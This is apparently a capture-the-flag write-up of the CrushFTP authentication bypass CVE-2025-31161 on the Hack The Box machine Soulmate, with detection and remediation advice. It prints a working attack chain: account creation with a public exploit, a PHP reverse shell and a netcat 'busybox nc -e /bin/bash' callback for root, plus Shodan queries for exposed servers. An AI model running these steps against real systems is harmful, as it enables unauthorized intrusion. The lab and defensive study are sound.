Post

CVE-2025-31161: CrushFTP Authentication Bypass

CVE-2025-31161: CrushFTP Authentication Bypass

CVE-2025-31161: CrushFTP Authentication Bypass

Introduction

CVE-2025-31161 is a critical authentication bypass vulnerability affecting CrushFTP.

The vulnerability can allow an unauthenticated remote attacker to bypass authentication and impersonate an existing account. Depending on the account and configuration, this can provide access to sensitive CrushFTP functionality and potentially administrative capabilities.

The vulnerability is tracked as:

1
2
CVE-2025-31161
CWE-305: Authentication Bypass by Primary Weakness

The vulnerability received a CVSS 3.1 score of 9.8 Critical:

1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The severity reflects several important characteristics:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Network exploitable
        |
        v
Low attack complexity
        |
        v
No authentication required
        |
        v
No user interaction
        |
        v
Potential impact on
Confidentiality
Integrity
Availability

This makes Internet-facing CrushFTP installations particularly interesting from both a defensive and security research perspective.

In this article, the vulnerability will be demonstrated using the Hack The Box machine Soulmate.

The objective is not simply to execute a public proof of concept.

Instead, we will examine the complete methodology:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Network Enumeration
        |
        v
Virtual Host Discovery
        |
        v
CrushFTP Discovery
        |
        v
CVE-2025-31161
        |
        v
Authentication Bypass
        |
        v
CrushFTP Access
        |
        v
Post-Exploitation
        |
        v
Initial Shell
        |
        v
Internal Service Enumeration
        |
        v
Credential Discovery
        |
        v
User Access
        |
        v
Privilege Escalation
        |
        v
Root

This demonstrates why authentication bypass vulnerabilities should rarely be considered in isolation.

The functionality exposed after crossing the authentication boundary often determines the actual impact.


Affected Versions

According to published vulnerability research, the following CrushFTP versions are affected:

CrushFTP branchAffected versionsPatched version
CrushFTP 1010.0.0 through 10.8.310.8.4+
CrushFTP 1111.0.0 through 11.3.011.3.1+

Therefore:

1
2
3
4
5
6
7
8
9
10
11
12
CrushFTP 10

10.0.0
   |
   v
...
   |
   v
10.8.3       VULNERABLE
   |
   v
10.8.4+      PATCHED

and:

1
2
3
4
5
6
7
8
9
10
11
12
CrushFTP 11

11.0.0
   |
   v
...
   |
   v
11.3.0       VULNERABLE
   |
   v
11.3.1+      PATCHED

Writing the explicit version ranges is preferable to simply stating:

1
2
< 10.8.4
< 11.3.1

because the vulnerability specifically affects the corresponding CrushFTP 10 and CrushFTP 11 branches.


What is CrushFTP?

CrushFTP is a managed file transfer server supporting multiple protocols and web-based file management.

Depending on its configuration, a CrushFTP installation may expose functionality including:

1
2
3
4
5
6
7
8
9
FTP
SFTP
HTTP
HTTPS
WebDAV
File uploads
File downloads
User management
Administrative functionality

A typical deployment can therefore represent a particularly sensitive security boundary.

Conceptually:

1
2
3
4
5
6
7
8
9
                 CrushFTP
                    |
        +-----------+-----------+
        |           |           |
        v           v           v
      Users       Files       Admin
        |           |           |
        v           v           v
 Authentication   Data      Configuration

An authentication bypass affecting this boundary can have significant consequences.


Understanding CVE-2025-31161

At a high level, CVE-2025-31161 involves improper authentication handling within CrushFTP.

The vulnerability can allow specially crafted authentication information to influence the authentication process in an unintended way.

Conceptually, the expected process should be:

1
2
3
4
5
6
7
8
9
10
11
Request
   |
   v
Authentication
   |
   +---- Invalid ----> Reject
   |
   +---- Valid
   |
   v
Authenticated Session

The vulnerable behaviour can instead result in:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Attacker
   |
   v
Crafted Request
   |
   v
Authentication Processing
   |
   X
Authentication Boundary Bypassed
   |
   v
Existing User Context
   |
   v
Authenticated Access

The vulnerability is therefore particularly dangerous because exploitation does not inherently require possession of a valid password.

The eventual privileges depend on which account can be impersonated and how the CrushFTP instance has been configured.


Why the Vulnerability is Critical

Authentication is one of the primary trust boundaries in a managed file transfer application.

The expected security model is:

1
2
3
4
5
6
7
8
9
10
11
12
13
Unauthenticated User
        |
        v
     Login
        |
        v
Credentials Verified
        |
        v
Authenticated User
        |
        v
Files / Administrative Functions

CVE-2025-31161 can undermine that assumption.

The resulting security model becomes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Unauthenticated Attacker
        |
        v
CVE-2025-31161
        |
        v
Authentication Bypass
        |
        v
Authenticated Context
        |
        +------------------+
        |                  |
        v                  v
      Files          User Management
                           |
                           v
                  Administrative Access

The vulnerability itself should still be distinguished from what happens afterwards.

For example:

1
2
3
CVE-2025-31161
        =
Authentication Bypass

It should not automatically be described as:

1
2
3
CVE-2025-31161
        =
Remote Code Execution

Instead, administrative access obtained through the vulnerability may expose functionality that can subsequently be leveraged to achieve further compromise.

This distinction becomes important in the Soulmate lab.


Lab Environment

For this research we will use the Hack The Box machine:

1
Soulmate

The target IP during testing was:

1
10.129.231.23

Because Hack The Box addresses change between sessions, the IP shown in this article should be considered specific to this lab session.

The testing workflow begins with network enumeration.


Network Enumeration

A full TCP port scan was performed using Nmap:

1
sudo nmap -p- -sC -sV -Pn 10.129.231.23 -T4

The scan returned:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Starting Nmap 7.95 at 2026-08-29 13:14 EDT

Nmap scan report for 10.129.231.23
Host is up (0.0075s latency).

Not shown: 65533 closed tcp ports (reset)

PORT   STATE SERVICE VERSION

22/tcp open  ssh
OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
Ubuntu Linux; protocol 2.0

80/tcp open  http
nginx 1.18.0 (Ubuntu)

http-server-header:
nginx/1.18.0 (Ubuntu)

http-title:
Did not follow redirect to http://soulmate.htb/

Service Info:
OS: Linux
CPE: cpe:/o:linux:linux_kernel

Two externally reachable services were identified:

PortServiceObservation
22SSHOpenSSH 8.9p1
80HTTPnginx 1.18.0

The most interesting observation is:

1
Did not follow redirect to http://soulmate.htb/

This reveals the expected hostname:

1
soulmate.htb

The hostname can therefore be added to /etc/hosts.

For example:

1
echo '10.129.231.23 soulmate.htb' | sudo tee -a /etc/hosts

The application can now be accessed through:

1
http://soulmate.htb

Virtual Host Enumeration

Discovering the primary hostname does not mean that it is the only web application hosted on the server.

Virtual host enumeration was therefore performed using ffuf.

The request modifies the HTTP Host header while keeping the destination IP unchanged:

1
2
3
4
5
ffuf \
  -u http://10.129.231.23 \
  -H "Host: FUZZ.soulmate.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -ac

The relevant result was:

1
ftp    [Status: 302, Size: 0, Words: 1, Lines: 1]

This reveals another virtual host:

1
ftp.soulmate.htb

The discovery flow is now:

1
2
3
4
5
6
7
8
9
10
11
12
13
10.129.231.23
       |
       v
    nginx
       |
       v
soulmate.htb
       |
       v
Virtual Host Enumeration
       |
       v
ftp.soulmate.htb

The newly discovered hostname can also be added to /etc/hosts:

1
echo '10.129.231.23 ftp.soulmate.htb' | sudo tee -a /etc/hosts

Alternatively, both hostnames can be placed on the same line:

1
10.129.231.23 soulmate.htb ftp.soulmate.htb

Discovering CrushFTP

Browsing to:

1
http://ftp.soulmate.htb

reveals the file transfer application.

At this stage, the technology of interest is:

1
CrushFTP

The reconnaissance process has therefore progressed from:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Nmap
   |
   v
Port 80
   |
   v
nginx
   |
   v
soulmate.htb
   |
   v
ffuf
   |
   v
ftp.soulmate.htb
   |
   v
CrushFTP

Once CrushFTP has been identified, CrushFTP-specific security research becomes relevant.

One of the most significant vulnerabilities affecting the identified product is:

1
CVE-2025-31161

Finding CrushFTP with Shodan

CrushFTP installations exposed to the Internet can also be discovered passively using Shodan.

Using the Shodan web interface, search for:

1
http.title:"CrushFTP"

This searches Shodan’s indexed HTTP information for pages where the HTTP title contains:

1
CrushFTP

The search can be narrowed further.

For example:

1
http.title:"CrushFTP" country:NL

or:

1
http.title:"CrushFTP" http.status:200

Multiple filters can also be combined:

1
http.title:"CrushFTP" country:NL http.status:200

This can be useful during passive reconnaissance because Shodan has already collected the underlying service information.

However, an important distinction must be made:

1
2
3
Shodan identifies CrushFTP
            !=
CVE-2025-31161 confirmed

Discovering a CrushFTP installation does not mean that the system is vulnerable.

The actual version and configuration must still be established.

The correct workflow is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Shodan
   |
   v
Potential CrushFTP Deployment
   |
   v
Version Identification
   |
   v
Affected Version?
   |
   +---- No ----> Not vulnerable to this CVE
   |
   +---- Yes
   |
   v
Authorized Validation

Only systems you own or have explicit authorization to assess should be actively tested.

For the remainder of this article, testing continues exclusively against the Hack The Box Soulmate environment.


Testing CVE-2025-31161

Rather than manually recreating the authentication bypass request, a public proof of concept can be used in the authorized lab.

The repository used during testing was cloned with:

1
sudo git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git

Enter the repository:

1
cd CVE-2025-31161

The proof of concept can then be executed against:

1
ftp.soulmate.htb

For example:

1
2
3
4
5
python3 cve-2025-31161.py \
  --target_host ftp.soulmate.htb \
  --port 80 \
  --new_user asif \
  --password asif

The exploit returned:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Preparing Payloads

  [-] Warming up the target
  [-] Target is up and running

[+] Sending Account Create Request

  [!] User created successfully

[+] Exploit Complete you can now login with

   [*] Username: asif
   [*] Password: asif

This is a critical point in the attack chain.

Before exploitation:

1
2
3
4
5
6
7
Attacker
   |
   v
No Valid CrushFTP Account
   |
   X
Protected Functionality

After successful exploitation:

1
2
3
4
5
6
7
8
9
10
11
12
13
Attacker
   |
   v
CVE-2025-31161
   |
   v
Authentication Boundary Bypassed
   |
   v
Account Creation
   |
   v
CrushFTP Access

The successful account creation demonstrates the practical impact of the authentication bypass in the lab.


Logging into CrushFTP

The newly created credentials can now be used against:

1
http://ftp.soulmate.htb

Using:

1
2
Username: asif
Password: asif

provides access to the CrushFTP interface.

The important functionality available during the lab included administrative user management.

Conceptually:

1
2
3
4
5
6
7
8
9
10
11
12
13
CVE-2025-31161
       |
       v
Authentication Bypass
       |
       v
CrushFTP Account
       |
       v
Administrative Functionality
       |
       v
User Manager

At this point, the authentication bypass itself has succeeded.

The next question is:

What functionality has become accessible because the authentication boundary was crossed?

This is the same principle that applies to almost every authentication or authorization bypass.

The bypass is often only the beginning of the assessment.


From Authentication Bypass to Post-Exploitation

CVE-2025-31161 does not inherently mean that arbitrary operating system commands can immediately be executed.

Instead, the chain in this environment is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
CVE-2025-31161
       |
       v
Authentication Bypass
       |
       v
Administrative Access
       |
       v
File Management Functionality
       |
       v
Web Accessible File
       |
       v
Server-Side Execution
       |
       v
Shell

This distinction matters when documenting the vulnerability.

A technically accurate description is:

1
2
3
4
5
6
7
8
9
10
Authentication bypass
        |
        v
Administrative functionality
        |
        v
Post-exploitation capability
        |
        v
Potential code execution

rather than:

1
CVE-2025-31161 = RCE

Preparing a PHP Reverse Shell

During the lab, a PHP reverse shell was downloaded from the Ivan Sincek PHP reverse shell project.

The file was retrieved with:

1
2
sudo wget \
  https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/refs/heads/master/src/reverse/php_reverse_shell.php

The downloaded file was:

1
php_reverse_shell.php

It was renamed for convenience:

1
sudo mv php_reverse_shell.php rev.php

The callback address and port inside the PHP file were configured for the attacker’s Hack The Box VPN interface.

For this lab session:

1
2
3
4
5
6
7
8
9
echo '<pre>';

// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.207', 9001);
$sh->run();

unset($sh);

echo '</pre>';

The callback IP should always correspond to the tester’s own VPN address.

It can normally be identified with:

1
ip addr show tun0

or:

1
ip a

Starting the Listener

Before triggering the uploaded file, a Netcat listener was started:

1
sudo nc -nlvp 9001

The listener waits for an inbound connection:

1
Listening on 0.0.0.0 9001

The expected flow is:

1
2
3
4
5
6
7
8
9
Attacker
10.10.14.207:9001
       ^
       |
       |
Reverse connection
       |
       |
Soulmate

Uploading the PHP File

Using the administrative functionality exposed through CrushFTP, the PHP file can be placed where the web application can access it.

The important relationship is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CrushFTP
   |
   v
File Management
   |
   v
Web Application Directory
   |
   v
rev.php
   |
   v
HTTP Request
   |
   v
PHP Execution

After the PHP file is requested through the web application, the reverse connection reaches the listener.

The listener returned:

1
2
3
4
5
Listening on 0.0.0.0 9001

Connection received on 10.129.231.23 58878

SOCKET: Shell has connected! PID: 3237

The initial shell runs as:

1
www-data

For example:

1
whoami

returns:

1
www-data

The attack chain has now progressed considerably:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
CrushFTP
   |
   v
CVE-2025-31161
   |
   v
Authentication Bypass
   |
   v
Administrative Access
   |
   v
File Upload
   |
   v
PHP Execution
   |
   v
www-data Shell

Upgrading the Shell

The initial shell can be improved using Python:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

This spawns a pseudo-terminal and provides a more usable Bash session.

A common shell upgrade sequence is:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Then suspend the shell with:

1
Ctrl+Z

On the attacker’s terminal:

1
stty raw -echo

Return to the shell:

1
fg

Then:

1
reset

If required:

1
export TERM=xterm

The result is a substantially more interactive terminal.


Local Enumeration

Once access has been obtained as www-data, the system should be enumerated again.

This is an important general penetration testing principle:

1
2
3
4
5
6
7
New Access
   |
   v
New Perspective
   |
   v
Enumerate Again

Network listeners were examined with:

1
ss -tulpn

The system returned:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Netid State  Local Address:Port

udp   UNCONN 127.0.0.53:53
udp   UNCONN 0.0.0.0:68

tcp   LISTEN 127.0.0.1:44143
tcp   LISTEN 127.0.0.53:53
tcp   LISTEN 127.0.0.1:8080
tcp   LISTEN 127.0.0.1:4369
tcp   LISTEN 0.0.0.0:80
tcp   LISTEN 127.0.0.1:8443
tcp   LISTEN 0.0.0.0:22
tcp   LISTEN 127.0.0.1:2222
tcp   LISTEN 127.0.0.1:9090
tcp   LISTEN 127.0.0.1:35579

Several services are bound exclusively to localhost.

Particularly interesting is:

1
127.0.0.1:2222

This service was not visible during the original Nmap scan because it only listens on the loopback interface.

Compare:

1
2
3
4
External Nmap

22/tcp
80/tcp

with:

1
2
3
4
5
6
7
Local Enumeration

127.0.0.1:8080
127.0.0.1:8443
127.0.0.1:2222
127.0.0.1:9090
...

This demonstrates why local network enumeration after gaining a foothold is so important.


Discovering the Erlang SSH Service

Further enumeration revealed:

1
/usr/local/lib/erlang_login/start.escript

The file contains an Erlang script that starts an SSH daemon.

The relevant code is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format(
                "Resolving user_dir for ~p: ~s/.ssh~n",
                [User, Dir]
            ),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format(
                "Auth success for user: ~p from ~p via ~p~n",
                [User, PeerAddr, Method]
            ),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format(
                "Auth failed for user: ~p from ~p, reason: ~p~n",
                [User, PeerAddr, Reason]
            ),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [
            {"ben", "HouseH0ldings998"}
        ]},

        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of

        {ok, _Pid} ->
            io:format(
                "SSH daemon running on port 2222. Press Ctrl+C to exit.~n"
            );

        {error, Reason} ->
            io:format(
                "Failed to start SSH daemon: ~p~n",
                [Reason]
            )
    end,

    receive
        stop -> ok
    end.

Several important pieces of information are immediately visible.

The service listens on:

1
127.0.0.1:2222

Authentication supports:

1
2
publickey
password

Most importantly, credentials are hardcoded directly into the script:

1
2
Username: ben
Password: HouseH0ldings998

This represents a credential exposure issue.

The discovery process is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data
   |
   v
Local Enumeration
   |
   v
/usr/local/lib/erlang_login/start.escript
   |
   v
Source Review
   |
   v
Hardcoded Credentials
   |
   v
ben : HouseH0ldings998

Moving to the ben User

The discovered credentials can be tested locally.

Using:

1
su - ben

and supplying:

1
HouseH0ldings998

results in access as:

1
ben

Verification:

1
whoami

returns:

1
ben

The attack path has therefore progressed from:

1
www-data

to:

1
ben

through credential discovery.

Conceptually:

1
2
3
4
5
6
7
8
9
10
www-data
   |
   v
Readable Erlang Script
   |
   v
Hardcoded Password
   |
   v
ben

Connecting to the Internal SSH Service

The Erlang script showed that another SSH service is listening on:

1
127.0.0.1:2222

Because we already have access to the machine, the service can be reached locally.

Connect with:

1
ssh -p 2222 ben@localhost

The first connection may display:

1
The authenticity of host '[localhost]:2222' can't be established.

Accept the host key:

1
yes

Then provide:

1
HouseH0ldings998

The flow becomes:

1
2
3
4
5
6
7
8
9
10
ben
 |
 v
localhost:2222
 |
 v
Erlang SSH Daemon
 |
 v
ssh_runner

This is significantly different from the normal OpenSSH service listening externally on port 22.

The internal service is implemented using Erlang’s SSH functionality.


Understanding the Erlang Service

The script begins with:

1
%%! -sname ssh_runner

This starts the Erlang runtime using the node name:

1
ssh_runner

The daemon is then started through:

1
ssh:daemon(2222, ...)

The process therefore runs inside an Erlang runtime environment.

This becomes particularly interesting when determining the privileges associated with that runtime.

The key lesson is that unusual locally exposed services should not be treated simply as another network port.

Understanding the underlying implementation can reveal additional attack paths.


Erlang Runtime Access

Once interacting with the Erlang environment, Erlang functions can be used directly.

For example, Erlang provides:

1
file:read_file()

for reading files.

A test against:

1
/root/root.txt

can be performed with:

1
{ok, Data} = file:read_file("/root/root.txt").

Successful access demonstrates that the Erlang runtime possesses privileges that the normal ben user does not.

Conceptually:

1
2
3
4
5
6
7
8
9
10
11
12
13
ben
 |
 v
Erlang SSH Service
 |
 v
Erlang Runtime
 |
 v
Privileged Process
 |
 v
/root

This is the critical privilege escalation boundary.


Command Execution Through Erlang

Erlang also exposes operating system command execution functionality through:

1
os:cmd()

Conceptually:

1
os:cmd("command").

The command executes with the privileges of the Erlang process.

This distinction is important.

Running:

1
os:cmd(...)

directly inside Bash does not work because:

1
os:cmd()

is Erlang syntax, not a shell command.

For example, attempting this from Bash:

1
os:cmd("busybox nc 10.10.14.207 9001 -e /bin/bash").

results in a Bash syntax error.

The command must instead be executed from the Erlang environment.


Obtaining a Root Shell

On the attacker’s system, start another listener:

1
sudo nc -nlvp 9001

From the privileged Erlang environment, command execution can be used to initiate a callback.

For example:

1
os:cmd("busybox nc 10.10.14.207 9001 -e /bin/bash").

The listener receives the connection:

1
2
3
Listening on 0.0.0.0 9001

Connection received on 10.129.231.23 41900

Verification:

1
whoami

returns:

1
root

and:

1
hostname

returns:

1
soulmate

The privilege escalation is therefore complete.


Complete Soulmate Attack Chain

The entire attack chain can now be represented as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
                         Soulmate
                            |
                            v
                     Network Scan
                            |
                            v
                     22/tcp   80/tcp
                               |
                               v
                        soulmate.htb
                               |
                               v
                      Virtual Host Fuzzing
                               |
                               v
                      ftp.soulmate.htb
                               |
                               v
                           CrushFTP
                               |
                               v
                       CVE-2025-31161
                               |
                               v
                    Authentication Bypass
                               |
                               v
                       Account Creation
                               |
                               v
                   Administrative Functions
                               |
                               v
                         File Upload
                               |
                               v
                          rev.php
                               |
                               v
                        PHP Execution
                               |
                               v
                         www-data
                               |
                               v
                    Local Enumeration
                               |
                 +-------------+-------------+
                 |                           |
                 v                           v
          Local Services             Application Files
                 |                           |
                 v                           v
         127.0.0.1:2222        /usr/local/lib/erlang_login/
                                             |
                                             v
                                        start.escript
                                             |
                                             v
                                    Hardcoded Credentials
                                             |
                                             v
                            ben : HouseH0ldings998
                                             |
                                             v
                                            ben
                                             |
                                             v
                                ssh -p 2222 ben@localhost
                                             |
                                             v
                                     Erlang SSH Daemon
                                             |
                                             v
                                      ssh_runner
                                             |
                                             v
                               Privileged Erlang Runtime
                                             |
                         +-------------------+-------------------+
                         |                                       |
                         v                                       v
                  file:read_file()                           os:cmd()
                         |                                       |
                         v                                       v
                    /root access                         Command Execution
                                                                 |
                                                                 v
                                                                root

The Vulnerability Chain

It is useful to separate each stage of the compromise.

The first vulnerability is:

1
2
3
4
CVE-2025-31161
        |
        v
Authentication Bypass

This enables:

1
2
3
4
5
6
7
Authentication Bypass
        |
        v
CrushFTP Access
        |
        v
Administrative Functionality

The administrative functionality then exposes another opportunity:

1
2
3
4
5
6
7
8
9
10
11
12
13
Administrative Access
        |
        v
File Management
        |
        v
PHP File in Web Root
        |
        v
Server-Side Execution
        |
        v
www-data

Local enumeration exposes credentials:

1
2
3
4
5
6
7
8
9
10
www-data
        |
        v
start.escript
        |
        v
Hardcoded Credentials
        |
        v
ben

Finally:

1
2
3
4
5
6
7
8
9
10
11
12
13
ben
        |
        v
Internal Erlang SSH Service
        |
        v
Privileged Erlang Runtime
        |
        v
Command Execution
        |
        v
root

The complete chain is therefore:

1
2
3
4
5
6
7
8
9
10
11
Authentication Bypass
        +
Administrative File Access
        +
Web Executable Upload
        +
Hardcoded Credentials
        +
Privileged Erlang Service
        =
Complete System Compromise

Why Vulnerability Chaining Matters

If CVE-2025-31161 were considered independently, the finding might simply be described as:

1
Unauthenticated attacker can bypass CrushFTP authentication.

That statement is correct, but it does not describe the actual impact observed in the lab.

The real progression is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Unauthenticated Attacker
        |
        v
Authentication Bypass
        |
        v
Administrative Access
        |
        v
File Upload
        |
        v
Remote Code Execution
        |
        v
www-data
        |
        v
Credential Discovery
        |
        v
ben
        |
        v
Privileged Local Service
        |
        v
root

Each stage changes the available attack surface.

This leads to an important assessment principle:

After crossing a security boundary, enumerate again.

After gaining CrushFTP access:

1
Enumerate CrushFTP again.

After obtaining www-data:

1
Enumerate the operating system again.

After becoming ben:

1
Enumerate the user's accessible services again.

Each new privilege level provides a different view of the target.


External vs Internal Attack Surface

The Soulmate machine also demonstrates the difference between externally visible and internally visible services.

From the attacker’s initial position:

1
2
3
4
Nmap

22/tcp
80/tcp

After obtaining a shell:

1
2
3
4
5
6
7
ss -tulpn

127.0.0.1:8080
127.0.0.1:8443
127.0.0.1:2222
127.0.0.1:9090
...

This creates two different attack surfaces:

1
2
3
4
5
6
7
8
9
10
11
12
                 Soulmate
                    |
        +-----------+-----------+
        |                       |
        v                       v
External Surface          Internal Surface
        |                       |
        v                       v
      :22                     :2222
      :80                     :8080
                              :8443
                              :9090

The Erlang SSH service was invisible from the initial network position because it was bound to:

1
127.0.0.1

Only after obtaining local access did it become directly reachable.


Why Hardcoded Credentials Matter

The following configuration was especially significant:

1
{user_passwords, [{"ben", "HouseH0ldings998"}]}

This embeds authentication credentials directly inside application source code.

The security problem is straightforward:

1
2
3
4
5
6
7
8
9
10
Source Code
    |
    v
Username + Password
    |
    v
Anyone who can read the file
    |
    v
Credential Disclosure

Credentials should instead be stored using an appropriate secrets management mechanism and should not be embedded directly in scripts or application source.

From a penetration testing perspective, application files should therefore be searched for:

1
2
3
4
5
6
7
8
9
password
passwd
secret
token
apikey
api_key
credential
username
user_passwords

The exact searches should be performed carefully to avoid unnecessarily dumping large quantities of unrelated sensitive information.


Why Localhost Services Matter

Binding a service to:

1
127.0.0.1

reduces external exposure.

It does not automatically make the service secure.

The security assumption becomes:

1
2
3
4
Internet
   |
   X
localhost service

But after another vulnerability provides a foothold:

1
2
3
4
5
6
7
8
9
10
11
12
13
Internet
   |
   v
Web Vulnerability
   |
   v
Local Shell
   |
   v
localhost
   |
   v
Internal Service

The localhost boundary has effectively been crossed.

Therefore, internal services should still implement appropriate authentication, authorization and least privilege.


Why Process Privileges Matter

The Erlang SSH service is particularly significant because commands executed through the Erlang runtime inherit the privileges of the process.

Conceptually:

1
2
3
4
5
6
7
8
9
10
User connects to service
        |
        v
Service Process
        |
        v
Process Privileges
        |
        v
Executed Operations

If the service runs with excessive privileges:

1
2
3
4
5
6
7
8
9
10
Unprivileged User
        |
        v
Privileged Service
        |
        v
Service Functionality
        |
        v
Privileged Operation

This can create a privilege escalation path.

Services should therefore run using the least privileges necessary for their intended functionality.


Impact

The direct impact of CVE-2025-31161 can include unauthorized access to CrushFTP accounts and functionality.

Depending on the target account and server configuration, potential consequences include:

  • Authentication bypass
  • Unauthorized account access
  • Access to stored files
  • Sensitive information disclosure
  • Modification of files
  • Administrative access
  • User management
  • Creation of additional accounts
  • Access to server-side file management functionality
  • Further post-exploitation opportunities

In environments where administrative access allows files to be written into executable web directories, the impact can become substantially greater.

The Soulmate lab demonstrates:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CVE-2025-31161
        |
        v
Authentication Bypass
        |
        v
Administrative Access
        |
        v
File Upload
        |
        v
Code Execution
        |
        v
Initial Foothold

Additional local weaknesses then allow the compromise to progress to root.

It is therefore important to distinguish:

1
Direct CVE Impact

from:

1
Impact of the Complete Vulnerability Chain

In this environment:

1
2
3
CVE-2025-31161
        !=
Root by itself

Instead:

1
2
3
4
5
6
7
8
9
CVE-2025-31161
        +
Application Configuration
        +
Hardcoded Credentials
        +
Privileged Internal Service
        =
Root

Root Cause

At a high level, CVE-2025-31161 represents an authentication state handling problem.

Authentication information supplied by an external attacker can influence internal authentication processing in a way that should not be possible.

The expected trust boundary is:

1
2
3
4
5
6
7
8
9
10
UNTRUSTED INPUT
      |
      v
Authentication Validation
      |
      v
Validated Identity
      |
      v
Session

The vulnerable condition allows attacker-controlled authentication data to interfere with this process.

Conceptually:

1
2
3
4
5
6
7
8
9
10
11
12
13
UNTRUSTED REQUEST
       |
       v
Authentication Processing
       |
       X
Improper Authentication State Handling
       |
       v
User Context Established
       |
       v
Authenticated Functionality

The fundamental security issue is therefore not merely an unusual HTTP request.

It is the violation of the authentication trust boundary.


Detection

Organizations operating CrushFTP should first determine the installed version.

Affected versions include:

1
2
CrushFTP 10.0.0 through 10.8.3
CrushFTP 11.0.0 through 11.3.0

Security teams should also review authentication and administrative activity for unusual behaviour.

Potential areas for investigation include:

1
2
3
4
5
6
7
8
9
Unexpected user creation
Unexpected administrator accounts
Unusual login activity
Unexpected configuration changes
Suspicious file uploads
Web-accessible script uploads
Unexpected file modifications
Unusual outbound connections
Suspicious child processes

The exact telemetry available will depend on the CrushFTP configuration, operating system, reverse proxy and surrounding security controls.


Remediation

Affected CrushFTP installations should be upgraded immediately.

The relevant fixed releases are:

1
2
3
4
5
6
7
8
CrushFTP 10:

10.8.4 or later


CrushFTP 11:

11.3.1 or later

Organizations should preferably deploy a current supported CrushFTP release containing all available security updates rather than treating these historical minimum fixed versions as the ideal long-term target.

The remediation workflow should include:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Identify CrushFTP instances
        |
        v
Determine installed versions
        |
        v
Affected?
        |
        +---- No ----> Verify current patch status
        |
        +---- Yes
        |
        v
Upgrade
        |
        v
Review Accounts
        |
        v
Review Logs
        |
        v
Investigate Suspicious Activity
        |
        v
Rotate Credentials if Required

Post-Patch Investigation

Because CVE-2025-31161 can be exploited remotely without valid credentials, patching should not necessarily be treated as the end of the incident response process.

If a vulnerable CrushFTP instance was exposed to untrusted networks, defenders should consider whether exploitation may already have occurred.

Review:

1
2
3
4
5
6
7
8
9
10
11
12
13
User accounts
Administrator accounts
Authentication history
Account creation timestamps
Uploaded files
Modified files
Configuration changes
Web directories
Scheduled tasks
Services
Running processes
Outbound connections
Persistence mechanisms

Unexpected administrative accounts should receive particular attention.

If compromise is suspected, credentials and secrets accessible through the affected server should also be considered potentially exposed.


Defence in Depth

Patching CrushFTP addresses the immediate vulnerability, but the Soulmate chain demonstrates several additional defensive lessons.

A stronger architecture should prevent a single authentication vulnerability from immediately becoming complete server compromise.

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Internet
   |
   v
Reverse Proxy / WAF
   |
   v
Patched CrushFTP
   |
   v
Strong Authentication
   |
   v
Least Privilege
   |
   v
Restricted File Locations
   |
   v
Non-Executable Upload Storage
   |
   v
Application Isolation

Uploads should ideally not be placed directly inside server-side executable directories.

Instead of:

1
2
3
4
5
6
7
File Upload
    |
    v
Web Root
    |
    v
PHP Execution

prefer:

1
2
3
4
5
6
7
8
9
10
File Upload
    |
    v
Dedicated Storage
    |
    v
Outside Web Root
    |
    v
No Script Execution

This prevents an administrative file upload capability from automatically becoming code execution.


Lessons for Security Researchers

CVE-2025-31161 and the Soulmate lab provide several useful lessons for penetration testers and security researchers.

Product Discovery Changes the Testing Strategy

The initial discovery was not the CVE.

It was:

1
2
3
4
ftp.soulmate.htb
        |
        v
CrushFTP

Once the technology was identified, product-specific vulnerability research became relevant.

The workflow is:

1
2
3
4
5
6
7
8
9
10
Discover
   |
   v
Fingerprint
   |
   v
Research
   |
   v
Validate

Virtual Host Enumeration Matters

